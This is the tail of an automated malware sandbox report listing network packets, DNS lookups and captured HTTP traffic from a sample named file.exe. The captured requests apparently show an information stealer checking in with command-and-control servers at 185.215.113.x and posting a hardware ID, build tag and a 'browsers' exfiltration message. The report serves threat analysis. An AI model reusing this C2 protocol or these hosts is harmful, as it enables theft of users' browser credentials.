Dec 9, 2024 18:20:55.074769974 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.074781895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.075167894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.075189114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.075210094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.075227022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.075798035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.075812101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.075850964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.076641083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.076653957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.076688051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.076714039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.077281952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.077296019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.077315092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.077323914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.077342987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.077364922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.077907085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.077950954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.077955961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.077994108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.078500986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.078514099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.078550100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.079291105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.079304934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.079341888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.080125093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.080142975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.080153942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.080174923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.080202103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.080630064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.080668926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.080677986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.080708027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.081336975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.081351042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.081388950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.082472086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.082484961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.082524061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.082962036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.082973957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.083014011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.222491026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.222687006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.222781897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.222856045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.223367929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.223381042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.223421097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.223994970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.224045992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.224720955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.224777937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.225465059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.225511074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.226110935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.226157904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.227410078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.227458000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.227484941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.227499008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.227509975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.227535963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.227567911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.229501963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.229510069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.229554892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.230470896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.230484962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.230523109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.230546951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.231190920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.231204033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.231245995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.232578039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.232590914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.232630014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.232652903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.233520985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.233582973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.234842062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.234854937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.234894991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.234908104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.236346960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.236402035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.236510992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.236552000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.236680984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.236728907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.236867905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.236880064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.236911058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.236931086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.238123894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.238137960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.238173962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.238970995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.238984108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.239021063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.239044905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.240226984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.240241051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.240298033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.241753101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.241765022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.241800070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.241816044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.242436886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.242449999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.242486954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.243180037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.243232965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.244074106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.244127035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.244585037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.244632006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.245285034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.245326996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.245402098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.245440006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.246081114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.246107101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.246129036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.246144056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.246896982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.246943951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.247572899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.247617006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.248514891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.248558044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.248986006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.249344110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.250036955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.250077963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.251167059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.251183987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.251214027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.251234055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.251820087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.251832962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.251863003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.251878023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.253273964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.253285885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.253313065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.253329039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.253987074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.254025936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.254672050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.254686117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.254719973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.254731894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.471198082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:55.471585035 CET	49844	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:55.592092991 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:55.592422962 CET	80	49844	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:55.592485905 CET	49844	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:55.597634077 CET	49844	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:55.718184948 CET	80	49844	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:57.456753969 CET	80	49844	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:57.457252026 CET	49844	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:59.218952894 CET	49844	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:59.220923901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:21:03.897672892 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:03.897711039 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:03.897794008 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:03.898415089 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:03.898427010 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.125191927 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.125320911 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:06.127228022 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:06.127239943 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.127523899 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.129090071 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:06.129157066 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:06.129162073 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.129350901 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:06.175337076 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.676038027 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.676282883 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.676345110 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:06.676546097 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:06.676557064 CET	443	49865	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:06.676568031 CET	49865	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:34.241255045 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:34.241277933 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:34.241358042 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:34.241889000 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:34.241902113 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:35.718003035 CET	49701	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:21:35.718013048 CET	49703	80	192.168.2.6	199.232.210.172
Dec 9, 2024 18:21:35.838215113 CET	443	49701	20.190.177.148	192.168.2.6
Dec 9, 2024 18:21:35.838287115 CET	49701	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:21:35.838618994 CET	80	49703	199.232.210.172	192.168.2.6
Dec 9, 2024 18:21:35.838665009 CET	49703	80	192.168.2.6	199.232.210.172
Dec 9, 2024 18:21:36.468360901 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:36.468437910 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:36.489881039 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:36.489912987 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:36.490206957 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:36.512103081 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:36.512130022 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:36.512135983 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:36.512281895 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:36.559334040 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:37.178139925 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:37.178276062 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:37.178360939 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:37.178603888 CET	49936	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:21:37.178620100 CET	443	49936	20.198.118.190	192.168.2.6
Dec 9, 2024 18:21:41.202359915 CET	49705	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:21:41.326581001 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:21:41.326632023 CET	49705	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:22:04.167618990 CET	50004	80	192.168.2.6	185.215.113.43
Dec 9, 2024 18:22:04.288203001 CET	80	50004	185.215.113.43	192.168.2.6
Dec 9, 2024 18:22:04.288312912 CET	50004	80	192.168.2.6	185.215.113.43
Dec 9, 2024 18:22:04.288502932 CET	50004	80	192.168.2.6	185.215.113.43
Dec 9, 2024 18:22:04.412384987 CET	80	50004	185.215.113.43	192.168.2.6
Dec 9, 2024 18:22:05.630249023 CET	80	50004	185.215.113.43	192.168.2.6
Dec 9, 2024 18:22:05.630325079 CET	50004	80	192.168.2.6	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 18:20:10.154006958 CET	56841	53	192.168.2.6	1.1.1.1
Dec 9, 2024 18:20:10.154325008 CET	51450	53	192.168.2.6	1.1.1.1
Dec 9, 2024 18:20:10.194047928 CET	53	51184	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:10.227515936 CET	53	62260	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:10.291275024 CET	53	51450	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:10.291683912 CET	53	56841	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:13.077608109 CET	53	62507	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:14.037075043 CET	53	62456	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:15.388834953 CET	53	64787	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:17.165421009 CET	60538	53	192.168.2.6	1.1.1.1
Dec 9, 2024 18:20:17.165421009 CET	49268	53	192.168.2.6	1.1.1.1
Dec 9, 2024 18:20:17.300481081 CET	53	62954	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:17.303033113 CET	53	49268	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:17.305697918 CET	53	60538	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:18.176212072 CET	50481	53	192.168.2.6	1.1.1.1
Dec 9, 2024 18:20:18.176367998 CET	55881	53	192.168.2.6	1.1.1.1
Dec 9, 2024 18:20:18.313421965 CET	53	50481	1.1.1.1	192.168.2.6
Dec 9, 2024 18:20:18.313437939 CET	53	55881	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 18:20:10.154006958 CET	192.168.2.6	1.1.1.1	0x8bb2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:20:10.154325008 CET	192.168.2.6	1.1.1.1	0xf6ee	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 9, 2024 18:20:17.165421009 CET	192.168.2.6	1.1.1.1	0xb778	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:20:17.165421009 CET	192.168.2.6	1.1.1.1	0xfd21	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 9, 2024 18:20:18.176212072 CET	192.168.2.6	1.1.1.1	0x1c0b	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:20:18.176367998 CET	192.168.2.6	1.1.1.1	0x394a	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 18:20:10.291275024 CET	1.1.1.1	192.168.2.6	0xf6ee	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 9, 2024 18:20:10.291683912 CET	1.1.1.1	192.168.2.6	0x8bb2	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:20:17.303033113 CET	1.1.1.1	192.168.2.6	0xfd21	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 18:20:17.305697918 CET	1.1.1.1	192.168.2.6	0xb778	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 18:20:17.305697918 CET	1.1.1.1	192.168.2.6	0xb778	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:20:18.313421965 CET	1.1.1.1	192.168.2.6	0x1c0b	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

185.215.113.206

185.215.113.16

185.215.113.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	185.215.113.206	80	5264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 18:20:02.206938028 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 18:20:03.564013958 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 18:20:03.575319052 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAECAECFCAAEBFHIEHD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 42 39 43 45 37 46 34 37 32 34 37 39 36 39 32 32 37 39 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 2d 2d 0d 0a Data Ascii: ------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="hwid"02B9CE7F4724796922796------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="build"stok------GDAECAECFCAAEBFHIEHD--
Dec 9, 2024 18:20:04.037581921 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 6b 34 59 54 49 32 5a 6a 41 34 5a 57 45 34 59 6a 55 34 59 32 59 79 59 57 4d 35 59 7a 52 6d 5a 44 68 6a 4d 57 59 30 4e 44 59 34 4e 44 64 6b 4e 6d 49 30 4e 32 59 79 4e 57 45 32 59 6a 59 78 4d 6a 68 6c 4d 47 56 69 4f 54 67 31 4d 44 42 6a 4d 6d 56 6b 4f 44 67 32 4f 54 56 6d 5a 6a 49 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDk4YTI2ZjA4ZWE4YjU4Y2YyYWM5YzRmZDhjMWY0NDY4NDdkNmI0N2YyNWE2YjYxMjhlMGViOTg1MDBjMmVkODg2OTVmZjIyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 9, 2024 18:20:04.038841009 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="message"browsers------HJKJKKKJJJKJKFHJJJJE--
